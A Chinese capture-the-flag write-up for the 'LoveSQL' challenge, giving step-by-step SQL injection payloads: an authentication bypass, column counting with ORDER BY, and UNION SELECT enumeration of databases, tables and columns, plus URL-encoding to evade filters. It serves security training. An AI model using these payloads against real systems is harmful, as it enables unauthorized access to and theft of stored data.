[极客大挑战 2019]LoveSQL

1.首先判断是否有注入点

1 2	admin' or 1=1# 111

2.判断字段个数

?username=1' order by 3%23&password=111
?username=1' order by 4%23&password=111
当by 4的时候报错显示字段长度不对，所以有3个字段
%23是#通过url编码后的，有的地方设置了界限，比如说遇到#这个字符就会报错或者转换成别的，我们用url编码的目的就是用相同的意思而不被发现从而绕过规定的限制。

3.查找数据库

1	?username=1' union select 1,2,group_concat(schema_name)from information_schema.schemata%23&password=111

可以看出有不止一个数据库，其实真正有效的只有test和geek，，其他的一般有经验的都知道那是服务器自带的

4.查找数据表

1
2
3

?username=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='geek'%23&password=111
或者下面的，因为它有两个数据库
?username=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='test'%23&password=111

有两个数据库 geek和test，所以我们都要试一下，可以看到在geek中有两个数据表

5.查看数据结构

1
2
3

?username=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='geekuser'%23&password=11
或者
?username=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1'%23&password=111